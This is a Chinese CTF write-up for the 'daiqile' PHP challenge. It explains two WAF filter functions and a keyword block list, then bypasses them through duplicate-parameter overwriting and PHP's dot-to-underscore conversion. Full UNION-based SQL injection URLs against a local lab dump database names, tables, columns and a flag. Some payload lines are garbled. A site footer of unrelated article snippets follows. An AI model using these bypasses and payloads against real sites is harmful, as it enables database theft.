贷奇乐漏洞学习 --- 两个变态WAF绕过

代码分析

第一个WAF

代码

function dowith_sql($str) {$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);if ($check) {echo "非法字符!";exit();}return $str;}

实现原理

这段PHP代码定义了一个名为dowith_sql的函数,用于对输入的字符串进行SQL注入检测和过滤。下面是对代码的详细解释:

  1. 正则表达式匹配:函数内部使用preg_match函数来检测输入字符串$str中是否包含一些常见的SQL注入攻击模式。这些模式包括:

    • select

    • insert

    • update

    • delete

    • '(单引号)

    • /**/(注释符号)

    • *(通配符)

    • .././(目录遍历)

    • union

    • into

    • load_file

    • outfile

  2. 检测结果处理:如果输入字符串中包含上述任一模式,preg_match函数会返回一个非零值,表示匹配成功。此时,函数会输出"非法字符!"并调用exit()函数终止脚本执行。

  3. 返回原字符串:如果输入字符串中没有检测到上述任一模式,函数会返回原字符串。

第二个WAF

代码

function dhtmlspecialchars($string) { if (is_array($string)) {foreach ($string as $key => $val) {$string[$key] = dhtmlspecialchars($val);}}else {$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);if (strpos($string, '&amp;#') !== false) {$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);}}return $string;}

这段PHP代码定义了一个名为dhtmlspecialchars的函数,用于对输入的字符串进行HTML特殊字符的转义处理。具体来说,它将一些特殊字符(如&"<>())转换为它们的HTML实体,以防止跨站脚本攻击(XSS)。

实现原理

  1. 数组处理:如果输入的字符串是一个数组,函数会递归地对数组中的每个元素调用自身,确保数组中的所有字符串都被处理。

  2. 字符串替换:对于非数组的输入,函数使用str_replace函数将特殊字符替换为它们的HTML实体:

    • & -> &

    • " -> "

    • < -> <

    • > -> >

    • ( -> (  英文括号,换成中文括号。

    • ) -> ) 英文括号,换成中文括号。

  3. 处理编码实体:如果字符串中包含编码实体(如&#123;),函数使用正则表达式preg_replace将这些实体还原为原始字符。

注入过程

注入点分析

foreach ($_REQUEST as $key => $value) {$_REQUEST[$key] = dowith_sql($value);}$request_uri = explode("?", $_SERVER['REQUEST_URI']);if (isset($request_uri[1])) {$rewrite_url = explode("&", $request_uri[1]);foreach ($rewrite_url as $key => $value) {$_value = explode("=", $value);if (isset($_value[1])) {$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));}}}
# 通过代码可知。如果要想走进这里,就需要$_REQUEST数组中存在submit参数。所以传递参数的时候需要加上。if (isset($_REQUEST['submit'])) {$user_id = $_REQUEST['i_d'];$sql = "select * from ctf.users where id=$user_id";$result=mysqli_query($conn,$sql);while($row = mysqli_fetch_array($result)){echo "<tr>";echo "<td>" . $row['username'] . "</td>";echo "</tr>";}}

由代码可知,接收参数使用到一个全局数组的方式接收数据。这就导致了注入点产生的原因。如果给这个数组参数,结果如下。

会将上面内容全部获得,但是由于他是一个数组。所以他可以获取很多参数内容,如本地电脑的环境变量。

知识点

explod函数

explode 是 PHP 中的一个内置函数,用于将一个字符串分割成多个子字符串,并返回一个包含这些子字符串的数组。这个函数接受两个参数:分隔符和要分割的字符串。

explode 函数的工作原理是遍历输入的字符串,找到所有与指定分隔符匹配的位置,然后在这些位置将字符串分割成多个部分。最后,将这些部分存储在一个数组中并返回。

基本语法

array explode ( string $delimiter , string $string [, int $limit ] )
参数说明
$delimiter用于分割字符串的分隔符。
$string要分割的字符串。
$limit(可选)如果指定了该参数,则返回的数组最多包含 limit 个元素。如果 limit 是负数,则返回除了最后的 -limit 个元素外的所有元素。

代码分析

由于代码开源,所以我们完全可以不用括号进行查询,一个一个的去获取账号密码。所以最主要是通过构建特殊的SQL语句去绕过两个安全WAF。

构建正常的语句进行断点调试,从而明白代码走向。即?submit=bbb&i_d=1

继续走,此时通过explode函数分割,通过?将一个REQUEST_URI中的字符串拆分成一个数组。

在经过第第二explode函数分割,以&进行覆分割。得出新的数组

使用foreach循环遍历$rewrite_url数组。$key是数组的键,$value是对应的值。并且通过`explode函数将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST全局数组中。$_value[0]作为键,$_value[1]作为值。在赋值之前,$_value[1]首先被addslashes函数处理,以转义特殊字符,然后被dhtmlspecialchars函数处理,以防止HTML注入攻击。

之后变量&_value经过两个WAF过滤,代码之后重新回到上图的foreach,准备处理第二个参数。

处理完之后会进入准备拼接的SQL语句查询函数。由于存在submit的内容,所以可以直接进入函数里进行执行。

由此过程可知,这行代码将使用了两次$_REQUEST全局数组赋值,并且最后面一次的赋值将上一次的赋值给覆盖掉了。在这个覆盖的过程中,就很有可能存在SQL注入问题。比如给两个相同参数不同值,并且我将注入语句放在第一个语句里面。对我们PHP来说,可能取值是最后一个。

?i_d=1 union select 1,2,3&i_d=2

此时发现并没有报错,由此可知。进入WAF的值是第二个。

所以现在的思路是第二个无害参数进入到WAF,而最后我们取有害的参数。即第一次传递参数使用第二个数据,第二次传递参数,取得的是一个参数。

在PHP中有一个小特性,就是在经过GET传参的时候会将.]变成符号_

如此即可修改语句

?sumbit=aaa&i_d=1/**/union/**/select/**/1,2,3&i.d=2
# 之所以加/**/是因为,url自动编码,会将空格编码为%20,所以%20也会进入到SQL语句中,从而报错

在第一次取值的时候,点自动变为下划线,所以他会取第二个值i_d=2

继续断点调试,最初确实只有两个内容,一个是submit=aaa,另一个是我们传递的第二个i_d=2。所以i_d=2会走入到第一个WAF之中。此时这个之中的i_d="2"的内容将会下一次替换。

经过explode函数对REQUEST_URI的分割,从而将原本的字符串拆分成数组。并且里面存在三个元素。

使用foreach循环遍历$rewrite_url数组。$key是数组的键,$value是对应的值。并且通过`explode函数将字符串按照“ = ”进行分割。最后将解析后的键值对添加到$_REQUEST全局数组中。

遍历第一个元素·"submit=aaa"

遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"

遍历第三个元素·"i_d=2"

最重要的一点在第二个过程,遍历第二个元素·"i_d=1/**/union/**/select/**/1,2,3"的时候,原本全局数组中$_REQUEST的"i_d=2"会被这个阶段遍历出第一个"i_d=1/**/union/**/select/**/1,2,3"替换掉。在遍历第三个元素·"i.d=2",没有经过GET传参的过程,所以此时的"."不会经过编译成为"_"。所以此时kay为"i.d"继续添加到$_REQUEST全局数组中。

所以此时的$_REQUEST全局数组只有一个key为i_d,所以在接下来的SQL语句拼接的过程中,只会去出我们写好的SQL语句。组成MySQL的查询语句。

SQL注入

获取数据库名称

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1</span></span>

通过修改limit的参数,一个一个获取数据库的名称。

获取表名称

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x6374660x637466是ctf&i.d=2</span></span>

这里的0x637466是数据库ctf的ASCII编码的16进制,这是MySQL注入的一个小技巧,通过将表明改为16进制,进而可以避免加单引号。

通过修改limit的参数,一个一个获取表的名称。

获取表的列名

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=20x637466 0x7573657273select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1;​</span></span>

通过修改limit的参数,一个一个获取列的名称。

获取表内容

注入语句如下:

<span style="background-color:#f8f8f8"><span style="color:#333333"> http://127.0.0.1/daiqile/?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2</span></span>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/396751.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uniapp切换同一个子组件时,钩子函数只进了一次

给子组件添加不同的 “key” 值&#xff0c;当 key 值改变时&#xff0c;Vue 会认为这是一个不同的组件&#xff0c;并重新创建它 props: ["L1Id"],// 方式1: 使用keycomputed: {// 切换子组件时,发现created、mounted等钩子函数只会进一次,或者用 keykey(){this.ref…

CSS技巧专栏:一日一例 19 -纯CSS实现超酷的水晶按钮特效

CSS技巧专栏:一日一例 19 -纯CSS实现超酷的水晶按钮特效 今天给大家分享一个纯CSS按钮水晶按钮,效果很赞,希望对大家有所帮助。 本例图片 案例分析 这个按钮看起来效果很赞,我们分析一下它由几个层组成: 1. 按钮本体:渐变层+按钮文字 2.用before伪元素实现高光层+内…

线程与多线程(二)

线程与多线程&#xff08;二&#xff09; 一、线程互斥1、相关概念 二、互斥锁1、介绍2、使用场景3、初始化&#xff08;1&#xff09;函数&#xff08;2&#xff09;概念 4、销毁&#xff08;1&#xff09;函数&#xff08;2&#xff09;概念 5、加锁&#xff08;1&#xff09…

SAM-Med2D 大模型学习笔记(续):训练自己数据集

1、前言、数据集介绍 SAM-Med2D大模型介绍参考上文&#xff1a;第三章&#xff1a;SAM-Med2D大模型复现-CSDN博客 本文将使用SAM-Med2D大模型训练自己的数据集 关于SAM-Med2D大模型官方demo数据集的介绍上文已经介绍过&#xff0c;这里简单回顾下 其中data_demo为数据集的目…

leetcode171. Excel 表列序号,进制转换

leetcode171. Excel 表列序号 给你一个字符串 columnTitle &#xff0c;表示 Excel 表格中的列名称。返回 该列名称对应的列序号 。 例如&#xff1a; A -> 1 B -> 2 C -> 3 … Z -> 26 AA -> 27 AB -> 28 … 示例 1: 输入: columnTitle “A” 输出: 1 示…

电商平台产品ID|CDN与预渲染|前端边缘计算

技术实现 都是通过ID拿到属性&#xff0c;进行预渲染html&#xff0c;通过 oss 分发出去 详情页这种基本都是通过 ssr 渲染出来&#xff0c;然后上缓存 CDN 分发到边缘节点来处理&#xff0c;具体逻辑可以参考 淘宝——EdgeRoutine边缘计算&#xff08;CDNServerless 边缘计算…

国内真正意义上的OpenAI,最强多模态大模型 MiniCPM-V 2.6 发布

最近这一两周看到不少互联网公司都已经开始秋招提前批了。不同以往的是&#xff0c;当前职场环境已不再是那个双向奔赴时代了。求职者在变多&#xff0c;HC 在变少&#xff0c;岗位要求还更高了。 最近&#xff0c;我们又陆续整理了很多大厂的面试题&#xff0c;帮助一些球友解…

二叉树的最大深度

二叉树的最大深度 思路&#xff1a; 法一&#xff1a;深搜 也就是递归 要想清楚边界条件 好久没写深搜了 回忆下怎么写。 突然就悟了&#xff1a; /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *rig…

2024年6月 青少年机器人技术等级考试理论综合试卷(二级)

202406 青少年等级考试机器人理论真题二级 第 1 题 如图&#xff0c;这是飞机起飞时的机翼示意图&#xff0c;下列说法正确的是&#xff1f;&#xff08; &#xff09; A&#xff1a;机翼上侧所受的气压为0 B&#xff1a;机翼受到向下的力的作用 C&#xff1a;机翼下侧所受…

基于sklearn的机器学习 — 支持向量机(SVM)

支持向量机&#xff08;SVM&#xff1a;support vector machine&#xff09;另一种功能强大、应用广泛的学习算法&#xff0c;可应用于分类、回归、密度估计、聚类等问题。SVM可以看作是感知器&#xff08;可被视为一种最简单形式的前馈神经网络&#xff0c;是一种二元线性分类…

C++ 特殊类设计

目录 0.前言 1.设计一个不能被拷贝的类 1.1C98实现 1.2C11实现 2.设计一个只能在堆上创建对象的类 3.设计一个只能在栈上创建对象的类 4.设计一个不能被继承的类 4.1C98实现 4.2C11实现 5.设计只能创建一个对象的类&#xff08;单例模式&#xff09; 5.1设计模式简介 5.2单例模…

Jupyter nbextensions安装与使用

这里写自定义目录标题 Jupyter nbextensions安装与使用安装7以下版本&#xff0c;安装插件包推荐使用的插件 Jupyter nbextensions安装与使用 目前&#xff0c;jupyter版本升级到了7以上版本&#xff0c;导致其界面非常难看&#xff0c;因此&#xff0c;为了重回之前的使用界面…

buuctf-crypto

前言 查找资料的时候,意外翻出之前刷的一些ctf题目,算是简单记录一下,当然因为常用typeo去写md文件,所以其中有很多当时记录的图片都失效了,可惜了 题目1:一眼就解密 ZmxhZ3tUSEVfRkxBR19PRl9USElTX1NUUklOR30 base64解密 flag:flag{THE_FLAG_OF_THIS_STRING} 题目2:MD5 …

全球化浪潮下的数据库革新:嘉里物流 TiDB 实践价值的设想

导读 本文来自 TiDB 社区武汉站——嘉里物流架构团队负责人肖飞老师的演讲《嘉里物流 & TiDB 在全球化业务场景中应用设想》。本次分享探讨了嘉里物流在全球化扩展中&#xff0c;将如何通过 TiDB 的强大功能应对海量数据挑战&#xff0c;优化技术架构&#xff0c;并提升决…

【Linux】详解自定义Shell管道 | 构建简易进程池

目录 续&#xff1a;通信 4 种情况 应用场景 1. 自定义 shell 管道 1. 包含头文件 2. 解析命令函数 详细步骤 3. 执行命令函数 4. 主函数 总结 2. 使用管道实现一个简易版本的进程池 代码结构 代码实现 channel.hpp tasks.hpp main.cc 子进程读取任务&#xff…

十九、虚拟机VMware Workstation(CentOSDebian)的安装

目录 &#x1f33b;&#x1f33b; 一、安装 VMware Workstation1.1 安装 VMware Workstation1.2 虚拟机上安装 CentOS1.3 虚拟机安装 Debian 二、配置Debian方便第三方工具远程连接2.1 配置debian2.2 安装远程SSH工具并连接 一、安装 VMware Workstation 官网下载 本地资源库…

你好! Git——企业级开发模型

企业级开发模型&#xff08;6&#xff09; 一、删除远程分支&#xff0c;git branch -a &#xff08;查看所有本地分支与远程分支&#xff09;还能看到已经删除的分支&#xff0c;怎么解决&#xff1f;二、企业级开发流程2.1 企业级开发流程2.2 系统开发环境 三、Git分支设计模…

RabbitMQ面试题汇总

RabbitMQ面试题 一、RabbitMQ基础1. 什么是RabbitMQ&#xff0c;它的基本架构是怎样的&#xff1f;2. RabbitMQ支持哪些协议&#xff1f;3. 说一下AMQP协议&#xff1f;4. 为什么要使用RabbitMQ&#xff1f;5. MQ的应用场景有哪些&#xff1f;6. 解耦、异步、削峰是什么&#x…

购物系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;商品分类管理&#xff0c;商品信息管理&#xff0c;特价商品管理&#xff0c;用户管理&#xff0c;留言板管理&#xff0c;订单管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&…

uni-app总结

1. <u-form-item label"报废人" ><u--input v-model"model.remark" border"bottom" placeholder"请输入"></u--input> </u-form-item> border"bottom" 报废日期 为了